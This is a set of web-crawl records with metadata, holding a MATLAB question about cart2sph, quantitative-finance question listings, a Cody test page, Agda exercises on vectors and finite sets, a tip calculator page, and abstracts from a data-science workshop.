https://au.mathworks.com/matlabcentral/answers/389054-i-want-to-convert-from-cartesian-to-spherical-coordinates-in-matlab-i-have-tried-to-use-cart2sph-in	[ "I want to convert from Cartesian to spherical coordinates in MATLAB. I have tried to use cart2sph in MATLAB but it is showing some error\n\nAhmad Bilal (view profile)\n\non 18 Mar 2018\nLatest activity Answered by Ahmet Cecen\n\nAhmet Cecen (view profile)\n\non 18 Mar 2018\nAccepted Answer by Ahmet Cecen\n\nAhmet Cecen (view profile)\n\nMy MATLAB Code is as follows :\nfunction [phi,theta] = calc_phitheta_geom(xyz_source,xyz_mic1,xyz_mic2)\nmid_p =(xyz_mic1 + xyz_mic2)/2 %midpoint calculation of xyz_mic1 and xyz_mic2\nV = mid_p - xyz_source %Vector from midpoint till xyz_source\n[phi,theta] = cart2sph(V) %converting Vector V from cartesian to spherical\nend\nNow actually Matlab command requires parameter for cart2sph as follows:\n[phi,theta] = cart2sph(x,y,z) % here x y z are cartesian coordinates.\nMy question is that when I am using [phi,theta] = cart2sph(V) it is showing not enough input arguments.\nHow can I resolve this issue? Can anybody help me in this regard?\nThank you.\n\nTags\n\nAnswer by Ahmet Cecen\n\non 18 Mar 2018" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.77026737,"math_prob":0.7875702,"size":674,"snap":"2019-43-2019-47","text_gpt3_token_len":192,"char_repetition_ratio":0.14925373,"word_repetition_ratio":0.0,"special_character_ratio":0.25667655,"punctuation_ratio":0.13114753,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9826601,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-10-20T15:13:45Z\",\"WARC-Record-ID\":\"<urn:uuid:2c3d9d3e-2688-4eb4-b303-01eb3902bf55>\",\"Content-Length\":\"90501\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:c04aefa4-68dd-4954-8acf-0ab81b746640>\",\"WARC-Concurrent-To\":\"<urn:uuid:20aea957-4fb5-48b7-83b6-5ebf5934888e>\",\"WARC-IP-Address\":\"104.118.179.86\",\"WARC-Target-URI\":\"https://au.mathworks.com/matlabcentral/answers/389054-i-want-to-convert-from-cartesian-to-spherical-coordinates-in-matlab-i-have-tried-to-use-cart2sph-in\",\"WARC-Payload-Digest\":\"sha1:ELIHGN3RSYCYKT4NXNIRU3EOOU4TXRX7\",\"WARC-Block-Digest\":\"sha1:IAOTGTBNF7S4O3EG7YRSIZ7HVJ3QNOG7\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-43/CC-MAIN-2019-43_segments_1570986710773.68_warc_CC-MAIN-20191020132840-20191020160340-00409.warc.gz\"}"}
https://quant.stackexchange.com/questions/tagged/modelling?tab=Newest	[ "# Questions tagged [modelling]\n\nThe tag has no usage guidance.\n\n27 questions\nFilter by\nSorted by\nTagged with\n50 views\n\n### Predicting Stock Returns vs Stock Price and then computing returns\n\nI am working on building a model to predict the beta-adjusted returns of a stock using a set of features. At the moment, when I try to predict the stock price directly, instead of the returns, the ...\n73 views\n\n### What is the state of the art govie bond term structure recently\n\nSpecifically, the US govt bond market is segmented and the shape is difficult to model in a structural model, because recently there is a maturity gap from 12 to 20 year, and the front and back ends ...\n34 views\n\n### GARCH(1,1) forecast plot in R with training data\n\nI've fit a GARCH(1,1) model in R and would like to create a plot similar to the one in this question: Is this the correct way to forecast stock price volatility using GARCH Could someone direct me to ...\n31 views\n\n### Calibrating g2++ in negative interest rate environment\n\nI am working on a g2++ model in a dualcurve setup for both Euribor and EONIA. I have the model built, but have some issues in calibrating it - I get a perfect fit with a Nelder-Mead algorithm, but it ...\n167 views\n\n### Risk neutral modelling of a stock\n\nSuppose a stock $S$ follows $$dS(t) = \\alpha(t)S(t)dt + \\sigma(t)S(t)dW(t),$$ where $W(t)$ is a Brownian motion under $P$. Also suppose there is a short rate process $r(t)$. My question would be is ...\n93 views\n\n### Which methods are there to determine the price of futures contracts?\n\nWhich method apart from the cost of carry model exists, and which works best in real life? How does the market expectations impact on the futures price?\n127 views\n\n### Modeling independent variables that have an asymmetric impact on the dependent variable\n\nI'm trying to regress a dependent variable on an independent variable that has an asymmetric impact. E.g., the dependent variable is much more responsive to an increase in the independent variable ...\n66 views\n\n### Forecasting default rates using a macroeconomic model\n\nI am trying to forecast corporate default rates using macroeconomic data. I have a few explanatory variables (all the variables are explained in figure 2), which range from 2000 to 2017. On this ...\n46 views\n\n### goodness of fit metric\n\nI am trying to approximate the returns of asset A by means of a linear combination of other assets A'=aB0+bB1+cB2.... I have this quite figured out but I'm not sure what a good metric for goodness ...\n159 views\n\n### Are processes with independent increments (which are not Lévy) used in finance?\n\nFrom Jacod and Shiryaev's Limit Theorems for Stochastic Processes, we get the following definitions. Definitions: A process with independent increments (abbreviated PII) $X = (X_t)_{t \\geq 0}$ on a ...\n558 views\n\n### Margin modelling to backtest futures investment strategy\n\nLet say that I have access to continuous daily time series for 20+ years of data for E-mini S&P 500 Index Futures. I have a long/short strategy to backtest that places orders either on open or ...\n39 views\n\n### Passage from dates ranges to real numbers in modelling : which market practice?\n\nLet's say I model a 6M forward Libor rate as a process $(L^1_t)_t$ that's a diffusion, with in view a Monte-Carlo (MC) pricing of some product. At some point I will have real life dates $T_i$'s that I ...\n11k views\n\n### What is a regime switch?\n\nI've come across the term regime switch in volatilities when reading about the modelling of interest rates but could not find a definition for a regime switch and what a regime is. Can somebody give ...\n541 views\n\n### LIBOR 3M and 1M from Vasicek model\n\nI would like to discuss my approach toward modelling of interest rates with respect to its downsides and advantages. My problem is to forecast daily LIBOR 3M and LIBOR 1M over a particular time ...\n233 views\n\n### Extensions of CIR\n\nI could need some advice on extensions of the CIR model. The standard CIR reads $dr(t)=\\kappa(\\theta-r(t))dt + \\sigma \\sqrt{r(t)} dW(t)$. A possible extension, if we would like the short-rate to ...\n782 views\n\n### CIR model and calibration\n\nI am new to quantitative finance. We know that in the CIR model the short rate can't go negative. My question then concerns calibration of CIR to a ZCB yield curve. Is it (and why?) possible to ...\n1k views\n\n### How to backtest Value at Risk Models using Conditional and Unconditional tests?\n\nI am trying to carry out backtesting on a number of Value at Risk figures i obtained using var/covar, historical, and monte carlo simulation. The two methods im using are the Kupiec test (...\n165 views\n\n### Local volatility parametrization using the spot\n\nIs it possible to estimate the local volatility using the spot price S at time t instead of the strike price K and the expiry date T ? Any help would be appreciated.\n5k views\n\n### Option Pricing Model Calibration In Practice\n\nI'm curious how an option pricing model like the Heston model is calibrated in practice. Here's how I imagine it happens: Let's say I have access to the most recent option prices on a given stock ...\n619 views\n\n### Why do people always seek finite-variance models for option pricing\n\nFor the purpose of getting fatter tails than the Guassian, I have seen people for example use $\\alpha$-stable processes to model the stock. But in that case they end up using 'tempered' versions of ...\n96 views\n\n### EGARCH formulation\n\nI am a bit confused about the formulation of the EGARCH(1,1) model. First, we have the error term: $\\epsilon_t=\\sigma_t\\zeta_t$, where $\\zeta_t$ is white noise. Now the EGARCH(1,1) should be: log(...\n689 views\n\n### GARCH modelling and forecasting\n\nI have a few questions regarding GARCH modelling and forecasting and it would be great if someone could help me. I am modelling the log return of oil spot prices using various GARCH models: GARCH, ...\n2k views\n\n### Is it too important that my residuals be normal? I am Using an ARMA/GARCH model\n\nI am trying to fit an ARMA/GARCH model to a time series. I found that the best candidate is an ARMA(1,0) + GARCH(1,1) with gaussian white noise It has coefficients with p-values near cero and the ...\n9k views\n\n### Null and Alternative hypothesis for multiple linear regression\n\nI have 1 dependent variable and 3 independent variables. I run multiple regression, and find that the p value for one of the independent variables is higher than 0.05 (95% is my confidence level). I ...\n4k views\n\n### Models for simulating FX movements\n\nMy goal is to develop a model to simulate long term FX movements. (I am not sure if long term makes any difference, but if it does I am more interested in long term fx movements) These Monte Carlo ..." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8979105,"math_prob":0.8823432,"size":7502,"snap":"2020-34-2020-40","text_gpt3_token_len":1850,"char_repetition_ratio":0.13083489,"word_repetition_ratio":0.001537279,"special_character_ratio":0.23926952,"punctuation_ratio":0.10671141,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9713021,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-09T14:13:10Z\",\"WARC-Record-ID\":\"<urn:uuid:655cb9c2-0455-40dd-b10e-b120302fefff>\",\"Content-Length\":\"192782\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:0296295e-9741-462f-abc9-653869899143>\",\"WARC-Concurrent-To\":\"<urn:uuid:94d70cb2-c190-499c-a33e-f61841b13e6a>\",\"WARC-IP-Address\":\"151.101.65.69\",\"WARC-Target-URI\":\"https://quant.stackexchange.com/questions/tagged/modelling?tab=Newest\",\"WARC-Payload-Digest\":\"sha1:TRBCNP5ONIFAU5XK5PC4FTCOSBV6TCCR\",\"WARC-Block-Digest\":\"sha1:TCLYM7E7DFWXI7DE7E72Z2HDZFTGFIJK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439738555.33_warc_CC-MAIN-20200809132747-20200809162747-00171.warc.gz\"}"}
https://uk.mathworks.com/matlabcentral/cody/problems/1988-remove-the-middle-element-from-a-vector/solutions/533579	[ "Cody\n\n# Problem 1988. Remove the middle element from a vector\n\nSolution 533579\n\nSubmitted on 23 Nov 2014 by Abdullah Caliskan\nThis solution is locked. To view this solution, you need to provide a solution of the same size or smaller.\n\n### Test Suite\n\nTest Status Code Input and Output\n1 Pass\n%% x = [1,2,3]; y_correct = 2; assert(isequal(remove_middle(x),y_correct))\n\nans = 2\n\n2 Pass\n%% x = [1,2,3,4]; y_correct = 2; assert(isequal(remove_middle(x),y_correct))\n\nans = 2\n\n3 Pass\n%% x = []; y_correct = []; assert(isequal(remove_middle(x),y_correct))\n\nans = []" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6552228,"math_prob":0.99722517,"size":584,"snap":"2019-51-2020-05","text_gpt3_token_len":178,"char_repetition_ratio":0.13965517,"word_repetition_ratio":0.086021505,"special_character_ratio":0.35787672,"punctuation_ratio":0.15044248,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99044186,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-12-08T14:05:00Z\",\"WARC-Record-ID\":\"<urn:uuid:029a3848-7ee9-47de-9e4e-dcca9ce29209>\",\"Content-Length\":\"72036\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:1cc3ae5b-ae96-4481-8cf8-a20e7bd72d71>\",\"WARC-Concurrent-To\":\"<urn:uuid:27eb266d-3fd5-4408-9550-8ae9307afa4a>\",\"WARC-IP-Address\":\"104.110.193.39\",\"WARC-Target-URI\":\"https://uk.mathworks.com/matlabcentral/cody/problems/1988-remove-the-middle-element-from-a-vector/solutions/533579\",\"WARC-Payload-Digest\":\"sha1:WLGNYHMMQYFQHWKTLNZTVA2PN3NOPOVF\",\"WARC-Block-Digest\":\"sha1:V7WASMNCOJAMGX3Z4V3ABZL2AG5L4BZO\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-51/CC-MAIN-2019-51_segments_1575540510336.29_warc_CC-MAIN-20191208122818-20191208150818-00111.warc.gz\"}"}
https://wiki.portal.chalmers.se/agda/Main/TypesSummerSchool2007	[ "# TypesSummerSchool2007\n\nThe Types Summer School 2007 is held in Bertinoro, Italy, August 19 - 31.\n\nThe examples from the lectures can be found here: examples/SummerSchool07/Lecture\n\n## Exercises\n\n### 1. Natural numbers\n\n1.1. Define a datatype of `Nat` natural numbers with constructors `zero` and `suc`.\n\n1.2. Define an addition function `_+_` on natural numbers, by recursion over the first argument.\n\n1.3. Define multiplication.\n\n1.4. Given the identity type\n\n``` data _==_ {A : Set}(x : A) : A -> Set where\nrefl : x == x\n```\n\nprove that _+_ is associative, i.e. give a function\n\n``` assoc : (x y z : Nat) -> (x + (y + z)) == ((x + y) + z)\n```\n\n### 2. Vectors\n\nVectors are lists of a fixed length:\n\n``` data Vec (A : Set) : Nat -> Set where\nε : Vec A zero\n_►_ : {n : Nat} -> A -> Vec A n -> Vec A (suc n)\n```\n\n2.1. Define a function `vec` which computes a vector where all the elements are the same.\n\n``` vec : {A : Set}{n : Nat} -> A -> Vec A n\n```\n\nHint: you need to do recursion over n\n\n2.2. Define a function `_<>_` to point-wise apply a vector of functions to a vector of arguments.\n\n``` _<>_ : {A B : Set}{n : Nat} -> Vec (A -> B) n -> Vec A n -> Vec B n\n```\n\n2.3. Use `vec` and `_<>_` to define a function\n\n``` map : {A B : Set}{n : Nat} -> (A -> B) -> Vec A n -> Vec B n\n```\n\n2.4. Use `vec` and `_<>_` to define a function\n\n``` zip : {A B C : Set}{n : Nat} -> (A -> B -> C) -> Vec A n -> Vec B n -> Vec C n\n```\n\n### 3. Finite sets\n\nThe family of finite sets indexed by size is defined by:\n\n``` data Fin : Nat -> Set where\nfzero : {n : Nat} -> Fin (suc n)\nfsuc : {n : Nat} -> Fin n -> Fin (suc n)\n```\n\nThe elements of `Fin n` are the natural numbers less than `n` (but with different names for the constructors).\n\n3.1. Show that there are no elements in `Fin zero`, i.e. give a function\n\n``` empty : Fin zero -> False\n```\n\nwhere\n\n``` data False : Set where\n```\n\nis the empty datatype. Hint: use an absurd pattern `()`.\n\n3.2. We can use elements of finite sets as positions in vectors. Define a look up function\n\n``` _!_ : {A : Set}{n : Nat} -> Vec A n -> Fin n -> A\n```\n\n3.3. In fact, `_!_` is an isomorphism between `Vec A n` and `Fin n -> A`. Define its inverse\n\n``` tabulate : {A : Set}{n : Nat} -> (Fin n -> A) -> Vec A n\n```\n\n### 4. Predicates over lists\n\nThe list datatype is given by\n\n``` data List (A : Set) : Set where\n[] : List A\n_::_ : A -> List A -> List A\n```\n\n4.1. Define `map` and `_++_` for lists.\n\n``` map : {A B : Set} -> (A -> B) -> List A -> List B\n_++_ : {A : Set} -> List A -> List A -> List A\n```\n\n4.2. Define a datatype family `All P` which represents proofs that `P` holds for all elements of a list\n\n``` data All {A : Set}(P : A -> Set) : List A -> Set where\n```\n\n4.3. Define a datatype family `Some P` which represents proofs that `P` holds for some element of a list\n\n``` data Some {A : Set}(P : A -> Set) : List A -> Set where\n```\n\n4.4. State and prove some interesting lemmas about the interaction between `All` and `Some` and the list functions `map` and `_++_`.\n\n4.5. Define list membership in terms of `Some`.\n\n``` _∈_ : {A : Set} -> A -> List A -> Set\n```\n\nHint: you need to use the identity type from exercise 1.4.\n\n4.6. We can define natural numbers as lists:\n\n``` record True : Set where\ntt : True\ntt = record {} -- the unique element of True\n\nNat = List True\nzero : Nat\nzero = []\nsuc : Nat -> Nat\nsuc n = tt :: n\n```\n\nNow define `Vec` and `Fin` using `All` and `Some`.\n\n4.7. Dependent pairs can be defined by\n\n``` data _×_ (A : Set)(B : A -> Set) : Set where\n_,_ : (x : A) -> B x -> A × B\n```\n\nWe can recover the simply typed pairs:\n\n``` _∧_ : (A B : Set) -> Set\nA ∧ B = A × \\_ -> B\n```\n\nNow if you know `All P xs` and `Some Q xs` then you can get an `A` satisfying both `P` and `Q`. Prove this by defining the following look up function:\n\n``` _!_ : {A : Set}{P : A -> Set}{Q : A -> Set}{xs : List A} ->\nAll P xs -> Some Q xs -> A × (\\z -> P z ∧ Q z)\n```\n\n4.8. (Harder) For a decidable predicate it is the case that it either holds for each element in a list, or there is an element for which it doesn't hold. Given\n\n``` ¬_ : Set -> Set\n¬ P = P -> False\n\ndata _∨_ (A B : Set) : Set where\ninl : A -> A ∨ B\ninr : B -> A ∨ B\n\ndata Bool : Set where\nfalse : Bool\ntrue : Bool\n\ndata IsTrue : Bool -> Set where\nisTrue : IsTrue true\n\nHolds : {A : Set} -> (A -> Bool) -> A -> Set\nHolds p x = IsTrue (p x)\n```\n\ndefine the function `all`:\n\n``` all : {A : Set}(p : A -> Bool)(xs : List A) ->\nAll (Holds p) xs ∨ Some (\\x -> ¬ Holds p x) xs\n```\n\nHint: you might find the function `decide` helpful\n\n``` decide : {A : Set}(p : A -> Bool)(x : A) -> Holds p x ∨ ¬ Holds p x\n```" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.6273164,"math_prob":0.9752011,"size":4237,"snap":"2021-21-2021-25","text_gpt3_token_len":1369,"char_repetition_ratio":0.16371368,"word_repetition_ratio":0.11729019,"special_character_ratio":0.37856975,"punctuation_ratio":0.17395529,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9998503,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-05-18T08:17:20Z\",\"WARC-Record-ID\":\"<urn:uuid:d7e397a6-ba09-4e78-9d80-a20ea0dad8d2>\",\"Content-Length\":\"15645\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:889bd83d-2171-46b0-b34a-0be57bfe340f>\",\"WARC-Concurrent-To\":\"<urn:uuid:7939519c-893f-4275-9b2d-010c44791f3e>\",\"WARC-IP-Address\":\"129.16.227.152\",\"WARC-Target-URI\":\"https://wiki.portal.chalmers.se/agda/Main/TypesSummerSchool2007\",\"WARC-Payload-Digest\":\"sha1:W4P64MLCJZJGXLE4KWQARCGLGWNFB2GL\",\"WARC-Block-Digest\":\"sha1:ZD25THOJ26E4VOMOYIK4M5C3ZNJXDHXC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-21/CC-MAIN-2021-21_segments_1620243989756.81_warc_CC-MAIN-20210518063944-20210518093944-00587.warc.gz\"}"}
https://tipcalc.net/how-much-is-a-25-percent-tip-on-5	[ "# Tip Calculator\n\nHow much is a 25 percent tip on \\$5?\n\nTIP:\n\\$ 0\nTOTAL:\n\\$ 0\n\nTIP PER PERSON:\n\\$ 0\nTOTAL PER PERSON:\n\\$ 0\n\n## How much is a 25 percent tip on \\$5? How to calculate this tip?\n\nAre you looking for the answer to this question: How much is a 25 percent tip on \\$5? Here is the answer.\n\nLet's see how to calculate a 25 percent tip when the amount to be paid is 5. Tip is a percentage, and a percentage is a number or ratio expressed as a fraction of 100. This means that a 25 percent tip can also be expressed as follows: 25/100 = 0.25 . To get the tip value for a \\$5 bill, the amount of the bill must be multiplied by 0.25, so the calculation is as follows:\n\n1. TIP = 525% = 50.25 = 1.25\n\n2. TOTAL = 5+1.25 = 6.25\n\n3. Rounded to the nearest whole number: 6\n\nIf you want to know how to calculate the tip in your head in a few seconds, visit the Tip Calculator Home.\n\n## So what is a 25 percent tip on a \\$5? The answer is 1.25!\n\nOf course, it may happen that you do not pay the bill or the tip alone. A typical case is when you order a pizza with your friends and you want to split the amount of the order. For example, if you are three, you simply need to split the tip and the amount into three. In this example it means:\n\n1. Total amount rounded to the nearest whole number: 6\n\n2. Split into 3: 2\n\nSo in the example above, if the pizza order is to be split into 3, you’ll have to pay \\$2 . Of course, you can do these settings in Tip Calculator. You can split the tip and the total amount payable among the members of the company as you wish. So the TipCalc.net page basically serves as a Pizza Tip Calculator, as well.\n\n## Tip Calculator Examples (BILL: \\$5)\n\nHow much is a 5% tip on \\$5?\nHow much is a 10% tip on \\$5?\nHow much is a 15% tip on \\$5?\nHow much is a 20% tip on \\$5?\nHow much is a 25% tip on \\$5?\nHow much is a 30% tip on \\$5?" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9632142,"math_prob":0.99616486,"size":2511,"snap":"2021-31-2021-39","text_gpt3_token_len":824,"char_repetition_ratio":0.3099322,"word_repetition_ratio":0.24064171,"special_character_ratio":0.3823178,"punctuation_ratio":0.14608434,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99777305,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-09-24T09:55:14Z\",\"WARC-Record-ID\":\"<urn:uuid:0c9b0285-65a7-411b-a34a-e530735dc732>\",\"Content-Length\":\"10857\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:45bbc7af-147f-43f8-b9b4-a5ccfbadd0dc>\",\"WARC-Concurrent-To\":\"<urn:uuid:cb67acd3-5a2e-4fe2-abfc-7d3fd5d667cf>\",\"WARC-IP-Address\":\"161.35.97.186\",\"WARC-Target-URI\":\"https://tipcalc.net/how-much-is-a-25-percent-tip-on-5\",\"WARC-Payload-Digest\":\"sha1:3NEBCAU7DG7FDXCDS2FFBND7YMDV5ZRT\",\"WARC-Block-Digest\":\"sha1:BKCORP7FBLIVHRKCXIT4FCKRZEM6NI56\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-39/CC-MAIN-2021-39_segments_1631780057508.83_warc_CC-MAIN-20210924080328-20210924110328-00143.warc.gz\"}"}
https://www.mis.mpg.de/calendar/conferences/2020/cominds/abstracts.html	[ "# GAMM AG Workshop Computational and Mathematical Methods in Data Science\n\n## Abstracts for the talks\n\nMarco Cuturi\nGoogle Brain & Institut Polytechnique de Paris\nSupervised Quantile Normalization for Matrix Factorization using Optimal Transport\nWe present in this recent work (https://arxiv.org/pdf/2002.03229.pdf) a recent application of our framework to carry out \"soft\" sorting and ranking using regularized OT. We expand this framework to include \"soft\" quantile normalization operators that can be differentiated efficiently, and apply it to the problem of dimensionality reduction: we ask how features can be normalized with a target distribution of quantiles to recover \"easy to factorize\" matrices. We provide algorithms to do this, as well as empirical evidence of recovery.\n\nAxel Klawonn\nUniversity of Cologne\nMachine learning in adaptive domain decomposition methods\nThe convergence rate of domain decomposition methods is generally determined by the eigenvalues of the preconditioned system. For second-order elliptic partial differential equations, coefficient discontinuities with a large contrast can lead to a deterioration of the convergence rate. A remedy can be obtained by enhancing the coarse space with elements, which are often called constraints, that are computed by solving small eigenvalue problems on portions of the interface of the domain decomposition, i.e., edges in two dimensions or faces and edges in three dimensions. In the present work, without restriction of generality, the focus is on two dimensions. In general, it is difficult to predict where these constraints have to be computed, i.e., on which edges. Here, a machine learning based strategy using neural networks is suggested to predict the geometric location of these edges in a preprocessing step. This reduces the number of eigenvalue problems that have to be solved during the iteration. Numerical experiments for model problems and realistic microsections using regular decompositions as well as those from graph partitioners are provided, showing very promising results.\n\nThis is joint work with Alexander Heinlein, Martin Lanser, and Janine Weber.\n\nKathlén Kohn\nKTH Stockholm\nInvariant theory and scaling algorithms for maximum likelihood estimation\nThe task of fitting data to a model is fundamental in statistics. For this, a widespread approach is finding a maximum likelihood estimate (MLE), where one maximizes the likelihood of observing the data as we range over the model. For two common statistical settings (log-linear models and Gaussian transformation families), we show that this approach is equivalent to a capacity problem in invariant theory: finding a point of minimal norm in an orbit under a corresponding group action. The existence of the MLE can then be characterized by stability notions under the action. This dictionary between invariant theory and statistics has already led to the solution of long-standing questions concerning the MLE of matrix normal models. Moreover, algorithms from statistics can be used in invariant theory, and vice versa.\n\nThis talk is based on joint work with Carlos Améndola, Philipp Reichenbach and Anna Seigal.\n\nDaniel Kressner\nEPF Lausanne\nRandomized trace estimates for indefinite matrices with an application to determinants\nThe need for estimating the determinant of a large-scale symmetric positive definite (SPD) matrix A features prominently in several machine learning tasks, most notably in maximum likelihood estimation for Gaussian process regression. Because of log(det(A)) = trace( log(A) ), estimating the log-determinant is equivalent to estimating the trace of the matrix logarithm. This simple relation allows for the application of Hutchinson's randomized trace estimator, which approximates the trace of a symmetric matrix B by computing the average of x'Bx for many samples of a random vector x. When estimating determinants, two major obstacles arise: (1) The matrix B=log(A) can be indefinite even when A is SPD. This complicates the analysis; nearly all existing tail bounds only apply to SPD matrices. (2) The exact evaluation of x'log(A)x requires the computation of the matrix logarithm, which is expensive. Recent work by Ubaru, Chen, and Saad considers the use of Rademacher random vectors and addresses (1) by shifting the matrix and (2) by using Lanczos quadrature. In this talk, we will explain why the tail bounds obtained from shifting are overly pessimistic. A new bound is presented, which reduces the required number of samples by up to a factor n, where n is the size of the matrix. We will also extend these results to Gaussian random vectors, which requires some careful consideration for the Lanczos quadrature because of the unboundedness of such vectors.\n\nThis talk is based on joint work with Alice Cortinovis.\n\nGitta Kutyniok\nTU Berlin\nThe Mathematics of Deep Learning: Can we Open the Black Box of Deep Neural Networks?\nDespite the outstanding success of deep neural networks in real-world applications, most of the related research is empirically driven and a comprehensive mathematical foundation is still missing. Regarding deep learning as a statistical learning problem, the necessary theory can be divided into the research directions of expressivity, learning, and generalization. Recently, the new direction of interpretability became important as well.\n\nIn this talk, we will provide an introduction into those four research foci. We will then delve a bit deeper into the area of expressivity, namely the approximation capacity of neural network architectures as one of the most developed mathematical theories so far, and discuss some recent work. Finally, we will provide a survey about the novel and highly relevant area of interpretability, which aims at developing an understanding how a given network reaches decisions, and discuss the very first mathematically founded approach to this problem.\n\nGuido Montúfar\nMax Planck Institute for Mathematics in the Sciences\nComputing the Unique Information\nGiven a pair of predictor variables and a response variable, how much information do the predictors have about the response, and how is this information distributed between unique, redundant, and synergistic components? Recent work has proposed to quantify the unique component of the decomposition as the minimum value of the conditional mutual information over a constrained set of information channels. We present an efficient iterative divergence minimization algorithm to solve this optimization problem with convergence guarantees and evaluate its performance against other techniques.\n\nThis is joint work with Pradeep Kr. Banerjee and Johannes Rauh.\n\nChristoph Schnörr\nHeidelberg University\nAssignment Flows for Data Labeling and Pattern Formation on Graphs\nAssignment flows are smooth dynamical systems for labeling data on graphs. After introducing the basic approach, I explain a recent extension to unsupervised scenarios, self-assignment flows, that combine computation of prototypes for data coding and data labeling using these prototypes. A brief outlook on parameter learning and the problem to understand their function conclude the talk.\n\nIngo Steinwart\nUniversity of Stuttgart\nDensity-Based Cluster Analysis\nA central, initial task in data science is cluster analysis, where the goal is to find clusters in unlabeled data. One widely accepted definition of clusters has its roots in a paper by Carmichael et al., where clusters are described to be densely populated areas in the input space that are separated by less populated areas. The mathematical translation of this idea usually assumes that the data is generated by some unknown probability measure that has a density with respect to the Lebesgue measure. Given a threshold level, the clusters are then defined to be the connected components of the density level set. However, choosing this threshold and possible width parameters of a density estimator, which is left to the user, is a notoriously difficult problem, typically only addressed by heuristics.\n\nIn this talk, I show how a simple algorithm based on a density estimator can find the smallest level for which there are more than one connected component in the level set. Unlike other cluster algorithms this approach is fully adaptive in the sense that it does not require the user to guess crucial hyper-parameters. Finally, I present some numerical illustrations.\n\nJoel Tropp\nCalifornia Institute of Technology\nSketchySVD\nThis talk asserts that randomized linear algebra is a natural tool for on-the-fly compression of data matrices that arise from large-scale scientific simulations and data collection. The technical contribution consists in a new algorithm for constructing an accurate low-rank approximation of a huge matrix from streaming data. Among other applications, we show how the SVD of a large-scale sea surface temperature dataset exposes features of the global climate.\n\n## Date and Location\n\nSeptember 10 - 11, 2020\nMax Planck Institute for Mathematics in the Sciences\n\n## Scientific Organizers\n\nMax von Renesse\nLeipzig University\n\nAndré Uschmajew\nMPI for Mathematics in the Sciences" ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.8992107,"math_prob":0.923318,"size":9252,"snap":"2022-40-2023-06","text_gpt3_token_len":1771,"char_repetition_ratio":0.10294118,"word_repetition_ratio":0.017303532,"special_character_ratio":0.17380026,"punctuation_ratio":0.08575113,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9896499,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-02-04T18:55:16Z\",\"WARC-Record-ID\":\"<urn:uuid:f23cd82b-7a4a-4d58-bed8-3db60650d157>\",\"Content-Length\":\"25247\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ea560ddb-0809-4201-8157-d28b3b96830f>\",\"WARC-Concurrent-To\":\"<urn:uuid:84baf87d-ac4a-4f89-82c6-19f18312b074>\",\"WARC-IP-Address\":\"194.95.185.89\",\"WARC-Target-URI\":\"https://www.mis.mpg.de/calendar/conferences/2020/cominds/abstracts.html\",\"WARC-Payload-Digest\":\"sha1:NNXGTJGLJ2GD4U4PKVPBFK4SUQQGI6PF\",\"WARC-Block-Digest\":\"sha1:4OWAIFZSD4GGGLJS6FLK4PMQZGXQF3A4\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-06/CC-MAIN-2023-06_segments_1674764500151.93_warc_CC-MAIN-20230204173912-20230204203912-00306.warc.gz\"}"}
